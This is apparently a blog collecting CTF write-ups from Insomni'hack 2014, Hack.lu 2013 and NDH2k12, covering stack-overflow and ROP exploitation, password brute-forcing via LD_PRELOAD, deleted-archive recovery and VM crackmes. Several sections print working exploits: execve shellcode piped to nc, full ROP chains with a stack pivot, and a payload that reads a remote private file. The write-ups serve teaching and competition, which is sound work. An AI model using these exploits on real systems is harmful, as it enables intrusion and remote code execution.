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Monday, March 24 2014 13:53

Insomni'hack 2014 - bender & teleport writeups

In this post I'll describe my solutions to the bender (pwn400) & teleport (pwn600) challenges, which were the only two pwnables we had unlocked :/ (we were only two players)
It seems pwnables were overrated, so I'd say those were more like pwn200 and pwn400.


Good news everyone, to help out with the pollution of space, bender has a new waste disposal!
In a totally unrelated news, Dr Zoidberg disappeared... Here's the disposal anyway:

Download the binary (ELF x86) here.

The binary reads user input byte by byte in a buffer of 128 bytes with buf[counter++].
The stack layout is [ buffer ][ counter ][ s-ebp ][ s-eip ].
So when you write more than 128 bytes you overflow into the counter. We just need to overwrite the last byte of the counter so that it will write directly on the saved eip.

NX is disabled so we can put our shellcode right after the saved EIP on the stack and use a "jmp *esp" like gadget:

0x08048521: push esp :: ret

Final exploit:

(python2 -c 'import struct; print "A"*128+"\x8F"+struct.pack("<I", 0x08048521)+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80\x00"'; cat -)|nc 4003


We heard there's a teleporter out there which allows you to get closer to the center of the galaxy!
It seems totally broken tho, but I'm sure you can "fix" it! (bonus flag inside)

Download the binary (ELF x86) here.

This is a very small static binary written in assembly. The vulnerability is obvious: the program reads 0x28 bytes in a 0x14 buffer located on the stack. The difficulty (and fun) comes from the lack of good gadgets. We indeed have very nice gadgets like "int 0x80 ; ret", but we need to pass parameters in registers, and the usual gadgets like pop eax are not present. The read wrapper is:


This is nice as it allows us to setup registers ebx, ecx and edx. The only register modified by the syscall is eax, which is the return value. The problem is there isn't any gadget to setup eax, which is very important as it holds the syscall number... However, we can use the return value of a call to read() to set it.

But that means we also need to give valid parameters to read(), and that's a problem because what we want to do is execve(), which uses different parameters. Also we can't use any gadgets that contain int 0x80 because that would overwrite our eax value. A good solution is to use the gadget twice: the first time we use the following gadget to setup eax:

0x08048109: mov eax, 0x00000003 :: mov ebx, dword [esp+0x04] :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

Then we use the same gadget just skipping the mov eax, 3, but using different values to fill ebx, ecx and edx.
But that would require us to overwrite more data on the stack and we are quite limited (20 bytes).

We have two solutions:

  1. Hardcode a stack address (remember that ASLR is off...).
  2. Find a gadget to pivot to a crafted stack at a known address

We can leak the stack using the write wrapper at 0x080480F5, which allows to retrieve the exact location of our buffer on the remote system, by leaking 0x2000 bytes before 0xbfffffff, then we ROP to read() at this location + xx bytes to write our stage 2 ropchain, and use the gadget at 0x08048109 to perform execve().
However there is a much cleaner alternative that also works when ASLR is enabled...

It may be surprising, but there is a nice gadget available to pivot if you increase the ROP depth a bit more:

0x080480fb: pop esp :: and al, 0x04 :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

We want to perform a execve("/bin/sh", {"/bin/sh", NULL}, NULL), proceeding like this:

  1. Store the execve parameters in a fixed location: .data is rw and static, we can simply use the read wrapper gadget to write our parameters there. We can kill two birds with one stone and also store our stage2 ropchain there ;
  2. Set eax to 0x0B (SYS_execve) using the read wrapper gadget once more ;
  3. Pivot our stack to .data using the gadget at 0x080480fb ;
  4. Set the remaining registers (ebx, ecx, edx) to execve parameters, and execute the syscall, using one last time the read wrapper gadget (skipping the mov eax, 3).
  5. Enjoy our shell.

Here is my exploit:

#!/usr/bin/env python2
import sys
import struct
DATA_BASE = 0x08049130
# Step 1: Setup .data with our execve parameters
# 1.1: Recv to .data
payload  = "A" * 0x14
payload += struct.pack("<I", 0x08048109)            # Wrapper to read(fd, addr, len)
payload += struct.pack("<I", 0x0804811D)            # Replay vuln
payload += struct.pack("<I", 0x0)                          # fd = STDIN_FILENO
payload += struct.pack("<I", DATA_BASE)              # addr = .data
payload += struct.pack("<I", 0x100)                      # len = large enough
payload  = payload.ljust(0x28, "\x00")                    # Padding (useless here)
# 1.2: Send execve parameters & stage2 ropchain
args_execve  = struct.pack("<I", DATA_BASE + 8)  # argv[0] -> "/bin/sh"
args_execve += struct.pack("<I", 0x0)                   # argv[1] -> NULL
args_execve += "/bin/sh\x00"                                 # "/bin/sh"
args_execve  = args_execve.ljust(0x80, "\x00")      # Padding
stage2  = struct.pack("<I", 0x08048109)              # Wrapper to read(fd, addr, len)
stage2 += struct.pack("<I", 0x0804812c)             # add esp, 0x20 ; ret
stage2 += struct.pack("<I", 0x0)                           # ebx : fd = STDIN_FILENO
stage2 += struct.pack("<I", DATA_BASE + 0x100) # ecx : addr
stage2 += struct.pack("<I", 0xB)                           # edx : len
stage2 += "JUNK" * 5
stage2 += struct.pack("<I", 0x0804810E)             # mov ebx, dword [esp+0x04] ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret 
stage2 += struct.pack("<I", 0x080480E9)             # exit(0)
stage2 += struct.pack("<I", DATA_BASE + 8)        # ebx : "/bin/sh"
stage2 += struct.pack("<I", DATA_BASE)               # ecx : **argv
stage2 += struct.pack("<I", 0x0)                           # edx : **env = NULL
stage2  = stage2.ljust(0x80, "\x00")                      # Padding
sys.stdout.write(args_execve + stage2)
# Step 2: Pivot to .data
# 2.1: Pivot to .data
payload  = "B" * 0x14
payload += struct.pack("<I", 0x080480fb)            # pop esp ; and al, 0x04 ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret
payload += struct.pack("<I", DATA_BASE + 0x80) # pivot esp
payload = payload.ljust(0x28, "\x00")                    # Padding
# 2.2: Send 0xB bullshit chars to set eax to 0xB after recv
sys.stdout.write("X" * 0xB)

We launch the exploit like this:

(./; cat -)|nc 4000

Once we had our shell, the flag was in flag.txt. There was also a bonus flag if your exploit got you a shell and not only a file read. The bonus flag was in a file that couldn't be read by the current user, but a setuid binary allowed us to get the bonus flag by simply executing it. +200 points for free ;)

Saturday, October 26 2013 03:30 CTF 2013 - FluxArchive Part 1 & 2

You can download this challenge here.

Our target is a x64 ELF binary that archives files somehow, with some kind of encryption. Here is our target's usage:

Usage: ./archiv <command> <archiv> <password> <file>
-l <archiv> <password> - lists all files in the archiv.
-a <archiv> <password> <file> - adds a file to the archiv (when archiv does not exist create a new archiv).
-x <archiv> <password> <filename> - extracts the given filename from the archiv.
-d <archiv> <password> <filename> - delete the given filename from the archiv.

We don't know how files are encrypted and what is the password for the provided archive. In the first part we will only find what the password is, then we will go deeper into what this binary does in part 2.

Part1 - RE400: Bruteforce with LD_PRELOAD

These funny humans try to exclude us from the delicious beer of the Oktoberfest! They made up a passcode for everyone who wants to enter the Festzelt. Sadly, our human informant friend could not learn the passcode for us. But he heard a conversation between two drunken humans, that they were using the same passcode for this intercepted archive file. They claimed that the format is is absolutely secure and solves any kind of security issue. It's written by this funny hacker group named FluxFingers. Real jerks if you ask me. Anyway, it seems that the capability of drunken humans to remember things is limited. So they just used a 6 character passcode with only numbers and upper-case letters. So crack this passcode and get our ticket to their delicious german beer!

Here is the challenge:

Let's see what's going on with IDA, we quickly see this code:


The checkHashOfPassword function is only storing the SHA-1 in the static variable hash_of_password, and we can see from the code above that encryptDecryptData and verifyArchiv both only have one argument: the archive FILE pointer.

Ok, that's enough for me. I get lazy (more than usual :o), and decide to bruteforce from within the archiv process itself. That way we don't have to reverse the remaining functions (though, that was not complicated...), and the bruteforce will be efficient enough! To do that, I only load a shared library with LD_PRELOAD, "hook" the strcmp function and launch my bruteforce there.

#include <stdio.h>
int strcmp(const char *s1, const char *s2)
	const char *charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
	char password[7] = {0};
	size_t i0, i1, i2, i3, i4, i5 = 0;
	void (*checkHashOfPassword)(char *) = (void*) 0x0000000000402A01;
	int (*encryptDecryptData)(FILE *) = (void*) 0x0000000000401B9A;
	int (*verifyArchiv)(FILE *) = (void*) 0x0000000000402A4E;
	FILE *f =  fopen("FluxArchiv.arc", "r");
	for (i0 = 0, password[0] = charset[i0]; password[0]; password[0] = charset[++i0]) {
		printf("passwd[0] = %c\n", password[0]);
		for (i1 = 0, password[1] = charset[0]; password[1]; password[1] = charset[++i1]) {
			printf("  passwd[1] = %c\n", password[1]);
			for (i2 = 0, password[2] = charset[0]; password[2]; password[2] = charset[++i2])
				for (i3 = 0, password[3] = charset[0]; password[3]; password[3] = charset[++i3])
					for (i4 = 0, password[4] = charset[0]; password[4]; password[4] = charset[++i4])
						for (i5 = 0, password[5] = charset[0]; password[5]; password[5] = charset[++i5]) {
							//encryptDecryptData(f); // Useless actually, only used to check the MAGIC_VALUE
							if (verifyArchiv(f)) {
								printf("Password found: %s\n", password);
								return 0;
	return 0;

Now let's compile, execute and wait for the password. It takes less than 10 minutes.

awe@awe-laptop ~/hacklu/reverse/FluxArchiv1 % gcc -O3 -shared -fPIC -o hooker.c -ldl
awe@awe-laptop ~/hacklu/reverse/FluxArchiv1 % time LD_PRELOAD=./ ./archiv -l FluxArchiv.arc BADGER
FluxArchiv - solved security since 2007!
Written by sqall - leading expert in social-kernel-web-reverse-engineering.
passwd[0] = A
  passwd[1] = A
  passwd[1] = B
  passwd[1] = C
* snip *
  passwd[1] = U
  passwd[1] = V
  passwd[1] = W
Password found: PWF41L
Given password is not correct.
zsh: exit 1     LD_PRELOAD=./ ./archiv -l FluxArchiv.arc BADGER
LD_PRELOAD=./ ./archiv -l FluxArchiv.arc BADGER  537.34s user 49.71s system 99% cpu 9:47.70 total

So now we can extract the archive files, etc. However, PWF41L was actually the flag.

Part2 - RE500: Extraction of deleted entries

These sneaky humans! They do not just use one passcode, but two to enter the Festzelt. We heard that the passcode is hidden inside the archive file. It seems that the FluxFingers overrated their programming skill and had a major logical flaw in the archive file structure. Some of the drunken Oktoberfest humans found it and abused this flaw in order to transfer hidden messages. Find this passcode so we can finally drink their beer!

(only solvable when FluxArchiv (Part 1) was solved)

Here is the challenge:

From the description, we quickly guess that there are issues with the archive deletion mechanism. First let's analyse the deleteArchive function. And well hmm, it doesn't behave like intended. That's because the author messed up the functions name. That can be quickly fixed by following the CFG backwards from the printed messages. We then have these functions / addresses:

Function name Segment Start
doRC4 .text 0000000000400E0C
createHashOfPassword .text 0000000000400E96
createFileEntry .text 0000000000400F05
real_addArchive .text 0000000000401043
findNextFreeChunk .text 0000000000401406
encryptDecryptData .text 0000000000401B9A
writeFileToArchiv .text 0000000000401CA7
real_searchArchive .text 0000000000401FED
real_deleteArchive .text 000000000040227D
real_extractArchive .text 00000000004025C8
checkHashOfPassword .text 0000000000402A01
verifyArchiv .text 0000000000402A4E
main .text 0000000000402B65

Let's analyse the real_deleteArchive function. It takes 2 parameters: the archive stream pointer and the offset for the entry we want to delete (which is returned from a previous call to real_searchArchive). Here is what the function does, from its CFG:


# PURPLE: go to the initial offset, read next_chunk (which will be used to calculate the offset for the next chunk)
next_chunk = unpack("<Q", doRC4(
# YELLOW: read max_chunks (total number of chunks)
max_chunks = unpack("<Q", doRC4(
# DARK GREEN: overwrite next_chunk in the file with junk
next_offset = next_chunk << 4
next_offset = next_offset + (next_offset << 6) + 0x20
f.write(doRC4("\x00" * 8))
f.write(doRC4("\x00" * 8))
# RED: overwrite the MD5sum with junk
f.write(doRC4("\x00" * 16))
# BLUE: overwrite the file name with junk
f.write(doRC4("\x00" * 0x60))
for chunk_index in range(max_chunks):
    # GREY: go to the next chunk offset, read next_chunk
    next_chunk = unpack("<Q", doRC4(
    # ORANGE: overwrite the next_chunk in the file with junk ; f.write(doRC4("\x00" * 8))

So, they delete all metadatas associated to the file, but not the file content itself. We should be able to recover a file then! We miss some informations though:

  1. What is the size of each chunk?
  2. How many chunks do we have to read? That's overwritten, so we don't know.
  3. How are the next_chunk allocated? Is that sequential, random, ...? That's overwritten too.

We can't know the file name and we won't be able to verify the MD5 sum, but we don't care of these details. From the real_addArchive function we can get all we needed to know. It does the opposite, and shows us that for each chunk of the original file, 0x408 bytes are written, then the next_chunk value is simply incremented.

We can't know what the size of the file is, so we will assume max_chunks = 0xFF. Because can't know the initial value of next_chunk either, we will have to bruteforce, from 0 to 0xFF. We will create one file per initial next_chunk value. Because we choose a max_chunks which is overlong, we will have some garbage at the end of each file, but most file formats don't really care about that anyway.

#!/usr/bin/env python2
import Crypto.Cipher.ARC4 as RC4
import hashlib
def decryptRC4(s):
    return RC4.ARC4Cipher(hashlib.sha1("PWF41L").digest()).decrypt(s)
f = open("FluxArchiv2.arc", "rb")
for bf in xrange(0xFF):
    print '[*] Trying with offset %02x' % bf
    o = open("output/out_%02x" % bf, "w+")
        next_chunk = bf
        max_chunks = 0xFF
        for chunk_index in xrange(max_chunks):
            next_offset = next_chunk << 4
            next_offset = next_offset + (next_offset << 6) + 0x20
   # Skip overwritten next_chunk
            content = decryptRC4(
            next_chunk += 1

Now we go to output/, do a file *, find the documents we extracted previously from the part 1, but no new image file with the flag as I expected :( So, it is probably simply a text file...

head -n1 *|less
# Output: *snip*
# ==> out_9d <==
# <B7>9<AF>       <B0><FB><91>0<D8>fB^Sȑ
# ==> out_9e <==
# Another one got caught today, it's all over the papers.  "Teenager
# ==> out_9f <==
# els threatened by me...
# ==> out_a0 <==
# e electron and the switch, the
# *snip*
less out_9e
# Output:
# Another one got caught today, it's all over the papers.  "Teenager
# Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"...
# Damn kids.  They're all alike.
# *snip*
# +++The Mentor+++
# Flag: D3letinG-1nd3x_F4iL
# * snip*

The flag is D3letinG-1nd3x_F4iL.

Sunday, March 25 2012 23:33

NDH2k12 Prequals - New email from our contact - strange binary file #2

From: Jessica <>
To: w3pwnz <>
Subject: New email from our contact
Attachments : executable2.ndh
Thank you again for your help, our technical staff has a pretty good overview
of the new device designed by Sciteek. Your account will be credited with $500.

You did work hard enough to impress me, your help is still more than welcome,
you will get nice rewards. Our anonymous guy managed to get access to another
bunch of files. Here is one of his emails:

Hi there, see attached file for more information. It was found on

Maybe you can get further than him by exploiting this website.
We also need to get
as much information as possible about the file itself. If you succeed, you will
be rewarded with $2500 for the ndh file and $1000 for the website. Please use
"Sciteek shortener" and "strange binary file #2" titles.


This challenge was another crackme. I called it "VMception", and it was a little harder than the other one =)

First we noticed the string "password is wrong:" (0x8737), and another a little stranger "Unhandled exception occured during execution. Exiting" (0x874b) and search for their references :

0x85f6: movl r0, #0x874b		; <-- unhandled exception
0x85fb: call 0xfb7a
0x85ff: end
0x8672: movl r0, #0x8737		; <-- password is wrong
0x8677: call 0xfafe
0x867b: end

The entry point of the crackme is a "jmpl 0x0624", corresponding to the following routine :

0x8627: movl r0, #0x867c		; <-- source = 0x867c
0x862c: movl r1, #0x86e8
0x8631: sub r1, r0			; <-- 0x86e8 - 0x867c = 0x6C = 108
0x8635: call 0xfc64			; --> 0x829d (memcpy_to_0x000a)
0x8639: movl r0, #0x0000	
0x863e: movl r1, #0x0035
0x8643: movl r2, #0x0000
0x8648: movl r3, #0x0000
0x864d: call 0xfc67
0x8651: call 0xffab			; --> 0x8600 (ask password)
0x8655: call 0xfed8			; --> 0x8531 (VMception)
0x8659: movl r0, #0x0000		; <-- 0x0000 = buffer password
0x865e: call 0xfca9	
0x8662: test r0, r0
0x8665: jz 0x000a			; --> goto password_is_wrong if r0 = 0
0x8668: movl r0, #0x872a
0x866d: call 0xfb90			; --> pwned \o/ 
0x8671: end

The first action is to copy 0x6c bytes of data from 0x867c to 0x000a :

niklos@box:~/ndh/jessica4# vmndh -file executable2.ndh -debug
[Console]#> x/x 0x867c:0x6c
0x867c: 0a 06 06 00 00 0b 02 07 4d 06 00 07 02 07 78 07
0x868c: 00 07 09 02 02 07 61 06 01 07 02 07 02 07 01 07
0x869c: 09 02 02 07 72 06 02 07 02 07 43 07 02 07 09 02
0x86ac: 02 07 31 06 03 07 02 07 45 07 03 07 09 02 02 07
0x86bc: 30 06 04 07 02 07 03 07 04 07 09 02 02 07 4c 06
0x86cc: 05 07 02 07 7f 07 05 07 09 02 02 07 64 06 06 07
0x86dc: 02 07 0f 07 06 07 09 02 02 00 01 0b

So far, we've got no idea of what the hell it could be, except that's probably vicious... We need to go deeper :)
Then, a 8bytes password is read, and stored in 0x0000 (which is quite surprising when you forget that you're in a very simple virtual machine). Next is a quite big routine, but quite easily understandable :

0x8531: push r2
0x8534: call 0xfdf9			; --> 0x8331 (code = get_next_ element)
0x8538: cmpb r0, #11		; --> code == 0xb
0x853c: jnz 0x0003
0x853f: jmpl 0x008f 			; --> goto 0x85d1 (BREAK)
0x8542: cmpb r0, #01		; --> code == 0x01		
0x8546: jnz 0x0007
0x8549: call 0xfeec
0x854d: jmpl 0xffe4
0x8550: cmpb r0, #02		; --> code == 0x2
0x8554: jnz 0x0007
0x8557: call 0xff0e
0x855b: jmpl 0xffd6			; --> loop
0x85c0: cmpb r0, #0a			; --> code == 0xa
0x85c4: jnz 0x0007
0x85c7: call 0xff5d
0x85cb: jmpl 0xff66			; --> loop
0x85ce: jmpl 0x0025			; --> 0x85f6 (unhandled_exception)
.label BREAK:
0x85f5: ret

First, this routine get an opcode from the buffer we previously copied in 0x000a, by calling 0x8331. Then, there's a switch/case test on this code, with a registered action for each from 0x00 to 0x0a, and 0x0b is the code signifying the end of the routine.

We now have a better understanding of the crackme : VMception : a VM inside a VM, and the buffer in 0x000a contains our program (we already see that most bytes are in [0x0 - 0xa] and it ends by 0xb.

Now comes the fun part when you trace the program opcode by opcode to understand the corresponding subroutines...
Here is what you can say then :

  • The password is actually 7bytes long, since the 8th byte is overitten (by a value used to check a byte of the password btw)
  • The password is checked one char at the time, and a single check use several opcodes
  • Opcodes used to do a single check are : 0x2 (routine 0x8469) 0x6 (routine 0x83a4), 0x7 (routine 0x8495), and 0x9 (routine 0x84fe)
  • The program-counter is stored at 0x9 (just before the program itself)

Let's check the subroutines of opcodes 0x02, 0x6, 0x7 and 0x9, starting with 0x2 :

0x8472: call 0xfebb		; --> 0x8331  (get_next_element = always 7)
0x8476: mov r1, r0	
0x847a:  call 0xfeb3		; --> 0x8331 (get_next_element = X, a value outside [0,a], like 0x4d, 0x78, ...)
0x847e: mov r2, r0
0x8482: mov r0, r1
0x8486: mov r1, r2
0x848a: call 0xfe90		; --> 0x831e (write_r0_at_r1 : writes the )
0x8494: ret

So this routine retrieves a value that is not an opcode, and stores it at 0x7.
Now 0x6 :

0x83b0: call 0xff7d		; --> 0x8331 (get_next_element = index i in the password of the char to be tested)
0x83b4: mov r3, r0
0x83b8: call 0xff75		; --> 0x8331 (get_next_ element = always 7)
0x83bc: call 0xff4b		; --> 0x830b (return *R0 == get [0x07])
0x83c0: mov r2, r0
0x83c4: mov r0, r3
0x83c8: call 0xff3f		; --> 0x830b (return *R0 = get password[i], the value of the char to be tested)
0x83cc: xor r0, r2		; --> XOR
0x83d0: mov r1, r0		
0x83d4: mov r0, r3		
0x83d8: call 0xff42		; --> 0x831e (write_r1_at_r0 = write the xored value at password[i])
0x83e4: ret

This one takes the previous value at 0x7 and XOR the current byte of the password with it.
Now 0x7 :

0x849e: call 0xfe8f		; --> 0x8331 (get_next_element = index i in the password of the char to be tested)
0x84a2: call 0xfe65		; --> 0x830b (return *R0 = get password[i], the value of the char to be tested)
0x84a6: mov r1, r0		
0x84aa: call 0xfe83		; --> 0x8331 (get_next_ element = always 7)
0x84ae: call 0xfe59		; --> 0x830b (return *R0 == get [0x07])
0x84b2: mov r2, r0	
0x84b6: cmp r1, r2		; --> CMP password[i], [0x7]
0x84ba: movl r1, #0x00	; --> R1 = 0
0x84bf: jnz 0x0002
0x84c2: inc r1			; --> R1 = 1
0x84c4: movl r0, #0x08	; --> R0 = 8
0x84c9: call 0xfe51		; --> 0x831e (write_r0_at_r1 = writes the result of CMP at 0x8)
0x84d3: ret

This routine compares the current byte of the password with some value stored in 0x7.
And finally 0x9 :

0x8504: call 0xfe29		; --> 0x8331 (get_next_element = always 0x2)
0x8508: mov r1, r0		
0x850c: movl r0, #0x0008	; --> R0 = 8
0x8511: call 0xfdf6		; --> 0x830b (return *R0 = get [0x08])
0x8515: test r0, r0
0x8518: jnz 0x0008
0x851b: mov r0, r1
0x851f: call 0xfe30		; --> IF [0x08] == 0 THEN : 0x8353 (change_program_counter by 0x2)
0x8527: ret

This one changes the program counter by 0x2 if the previous comparison fails.

We now know how one byte of the password is checked :

  • 0x02 : store next element at 0x7
  • 0x06 : XOR password[i] and [0x7]
  • 0x02 : store next element at 0x7
  • 0x07 : compare xored value and [0x7] and write the result at 0x8
  • 0x09 : f*ck up program counter if [0x8] is 0

So with 3 breakpoints in routines of opcodes 0x6, 0x7 and 0x9, we can get the xor keys and the xored values :

niklos@box:~/ndh/jessica4# vmndh -file executable2.ndh -debug
[Console]#> bp 0x83c0
Breakpoint set in 0x83c0
[Console]#> bp 0x84b6
Breakpoint set in 0x84b6
[Console]#> bp 0x8515
Breakpoint set in 0x8515
[Console]#> run
[SYSCALL output]: Please enter Sciteek admin password:
[BreakPoint 1 - 0x83c0]
0x83c0 > mov r2, r0
[Console]#> info reg
[r0]: 004d		; --> first xor key is 0x4d
[Console]#> run
[BreakPoint 2 - 0x84b6]
0x84b6 > cmp r1, r2
[Console]#> info reg
[r0]: 0078		; --> first xored value is 0x78
[Console]#> run
[BreakPoint 3 - 0x8515]
0x8515 > test r0, r0
[Console]#> set r1=1	; --> set the result of the comparison to 1
r1 = 0x0001
[Console]#> run


And so on for the 7 bytes of the password :)

Now we xor all this and get the password :

>>> a = [0x4d, 0x61, 0x72, 0x31, 0x30, 0x4c, 0x64]
>>> b = [0x78, 0x02, 0x43, 0x45, 0x03, 0x7f, 0x0f]
>>> print ''.join([ chr(a[i] ^ b[i]) for i in range(len(a)) ])

Bazinga \o/

NDH2k12 Prequals - unknown binary, need your help - Strange binary file

From: Jessica <>
To: w3pwnz <>
Subject: unknown binary, need your help
Attachments : executable1.ndh
Hello again,

Thank you very much for your help. It is amazing that our technical staff and
experts did not manage to recover any of it: the password sounds pretty weak.
I will notify our head of technical staff.

Anyway, I forwarded them the file for further investigation. Meanwhile, we got
fresh news from our mystery guy. He came along with an intersting binary file.
It just looks like an executable, but it is not ELF nor anything our experts
would happen to know or recognize. Some of them we quite impressed by your skills
and do think you may be able to succeed here. I attached the file, if you discover
anything, please send me an email entitled "Strange binary file".

This will be rewarded, as usual. By the way, your account has just been credited
with $100.


We first noticed the two strings "Good password" and "Bad password" at the end of the file. An easy way to attack a crackme is to search for string references in the code. The disassembly from vmndh tells us that the "Bad password" string is loaded in 0x8480, and referenced from

0x82d4: movl r0, #0x8480
0x82d9: call 0xffdd
0x82dd: ret

This is the "bad boy" case, and whatever "call 0xffdd" is, it must be the impression routine. There were two methods to get the actual adresses of the calls: check them in the debugger, or patch the disassembled output to translate relative calls into absolute ones. This is what does.

With it, we can see that the address 0x82d4 is called 9 times between 0x82e8 and 0x83e1, just after "jz" instructions.

A first test is made, that checks the length of the input:

0x82e8: mov r7, r0
0x82ec: movl r6, #0x840d
0x82f1: call 0x8003
0x82f5: cmpb r0, #09        ; 9 bytes (8 without "\x0a")
0x82f9: jz 0x0005
0x82fc: call 0x82d4         ; -> bad boy
0x8300: end

After that, each time the bytes pointed by r7 and r6 are xored together and compared to a hardcoded value. Then r7 and r6 are incremented:

0x8301: mov r0, [r7]
0x8305: mov r1, [r6]
0x8309: xor r0, r1
0x830d: cmpb r0, #78
0x8311: jz 0x0005
0x8314: call 0x82d4
0x8318: end
0x8319: inc r7
0x831b: inc r6

Let's load the program in the debugger and put a breakpoint at 0x8301, to see what these registers point to:

[BreakPoint 1 - 0x8301]
0x8301 > mov r0, [r7]
[Console]#> info reg
[r0]: 0061	[r4]: 0000
[r1]: 0000	[r5]: 0000
[r2]: 7fda	[r6]: 840d
[r3]: 001f	[r7]: 7fda
[bp]: 7ffa	[zf]: 0001
[sp]: 7fd8	[af]: 0000
[pc]: 8305	[bf]: 0000
[Console]#> x/x 7fda:8
0x7fda: 61 62 63 64 65 66 67 68     <- our input
[Console]#> x/x 840d:8
0x840d: 02 05 03 07 08 06 01 09     <- the key

According to the cmpb instructions, the result must be 78 44 73 6b 61 3e 6e 5e. The correct input is therefore

>>> format(0x7844736b613e6e5e ^ 0x0205030708060109,"x").decode("hex")

Let’s use it:

~/ndh2012$ nc 4001
Sciteek protected storage #1
Enter your password: zApli8oW
<PSP version="1.99">
Welcome on SciPad Protected Storage.

The most secure storage designed by Sciteek. This storage protocol
allows our users to share files in the cloud, in a dual way.

This daemon has been optimized for SciPad v1, running SciOS 16bits
with our brand new processor.
An unexpected error occured: PSP-UNK-ERR-001> application closed.

NDH2k12 Prequals - Another weird link - complex remote service

From: Piotr <>
To: w3pwnz <>
Subject: Another weird link
Attachments : web3.ndh
Thank you again for these informations! we have just credited your account
with $1700. Our spy thinks that Sciteek staff is aware about the mole inside
their building. He is trying to read a private file named "sciteek-private.txt"
located at Please find the .ndh attached, if
you are sucessfull, reply with a message entitled "complex remote service".

Of course, your efforts will be rewarded with $2500. Maybe you will find
pieces of informations about the mole.


We disassembled it using the unlocked VM tool (cf. Unknown zip archive), and used the following python script to patch call format:

#!/usr/bin/env python
import sys
import re
def rel(line, size=4):
    fro, off = re.findall("0x([0-9a-f]{1,4})", line)
    ifro, ioff = int(fro, 16), int(off, 16)
    if ioff > 0x8000:
        ioff = ioff - 0x10000
    ito = ifro + 4 + ioff
    line = line.replace(off, format(ito, "04x"))
    return line
if __name__=="__main__":
    for line in open(sys.argv[1]).readlines():
        if " call" in line:
            print rel(line),
            print line,


0x8497: call 0x84ed
0x849b: mov r0, r2
0x849f: movl r1, #0x847c
0x84a4: movb r2, #0x03
0x84a8: call 0x80c0
0x84ac: cmpb r0, #00
0x84b0: jnz 0x0009
0x84b3: movl r0, #0x8400
0x84b8: call 0x8179
0x84bc: end
0x84bd: pushl #beef  ; Push a canary
0x84c2: nop
0x84c3: mul r2, r4
0x84c7: nop
0x84c8: .byte 0x00
0x84c9: .byte 0x00
0x84ca: .byte 0x00
0x84cb: mov r1, r8
0x84cf: movl r2, #0x03fc  ; Read 1020 bytes
0x84d4: call 0x81d8
0x84d8: mov r0, r1
0x84dc: addl r8, #0200
0x84e1: pop r1
0x84e3: cmpl r1, #beef
0x84e8: jz 0x0001
0x84eb: end
0x84ec: ret
0x84ed: subl r8, #0200 ; Reserve 512 bytes
0x84f2: call 0x84bd
0x84f6: addl r8, #0200                                                
0x84fb: ret

We begin with the call @0x8497, follow it to 0x84ed where 512 bytes are reserved on the stack. A fixed canary “0xbeef” is then pushed on the stack, it calls the following function: read()

So sys_read is invoked, with a specified size of 1020 (0x84cf: movl r2, #0x03fc). There is an obvious buffer overflow. Unfortunatly (but that’s moar fun), the stack is not executable because of NX bit:

% python -c 'print "A"*512+"\xef\xbeBBCC"'|nc 4005
[!] Segfault 0x4242 (NX bit)

We assumed ASLR was on and no PIE, let’s ROP :)

We want to proceed as below:

movl r3, #0x20
movl r2, #0x2000
movl r1, #0
movl r0, 3
syscall                         ; read
mov r1, r2 
movl r2, #0
movl r0, #2
syscall                         ; open
mov r1, r0
movl r2, #0x3000
movl r3, #0x1024
movl r0, #3
syscall                         ; read
mov r3, r0
movl r1, #1
movl r0, #4
syscall                         ; write

Our ROP gadgets:

        0x8172: pop r3
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
        0x81e4: movb r0, #0x03
        0x81e8: syscall
        0x81e9: ret
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
        0x81d2: movb r0, #0x02
        0x81d6: syscall
        0x81d7: ret
        0x8172: pop r3
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
        0x81e0: mov r1, r0
        0x81e4: movb r0, #0x03
        0x81e8: syscall
        0x81e9: ret
        0x818f: movb r1, #0x01
        0x8193: movb r0, #0x04
        0x8197: syscall
        0x8198: pop r1
        0x819a: pop r0
        0x819c: ret

ROP Payload:


We then fill the first read (0x3fc bytes) with junk:

‘Z’ * (0x3fc - len(payload) - 512)

And our file: “sciteek-private\x00”.

So, our buffer overflow is as follows: [JUNK][CANARY][ROP PAYLOAD][JUNK][FILENAME]

Finally our python one-liner:

python -c 'from struct import pack; print "A"*512+"\xef\xbe"+"".join(pack("<H", i) for i in [0x8172, 0x14, 0x2000, 0x0, 0x81e4, 0x8174, 0x0, 0x2000, 0x81d2, 0x8172, 0x1024, 0x3000, 0xdead, 0x81e0, 0x818f])+"Z"*0x1dc+"sciteek-private.txt\x00"'|nc 4005
Dear Patrick,
We found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.
However, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business
, but one of them contains an archive with an explicit name.
We cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.
David Markham.
[!] Segfault 0x5a5a (NX bit)

NDH2k12 Prequals - Any idea how to use this file? - Unknown file extension

After decrypting the secret message, we got a new email, from Piotr this time, a supposed technical operative.

From: Piotr <>
To: w3pwnz <>
Subject: Any idea how to use this file?
Attachments : webApp.ndh

Great job there! You seem to be quite a great cryptograph, wow. Your account has been credited with $100. Btw, I'm Piotr, from the technical staff. Maybe Jessica told you about me, we will interact directly about complex questions.

Anyway, our anonymous contact at Sciteek has sent us another binary file with that strange extension, will you be able to break it? If you manage so, please contact me directly with the subject "Unknown file extension", $1700 dollars to earn!


As you can see, he asks us to study a file which format and extension are unknown.
The file is pretty small (897 bytes), and contains some strings :

# strings webApp.ndh
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase:
Nope. It is not the good password

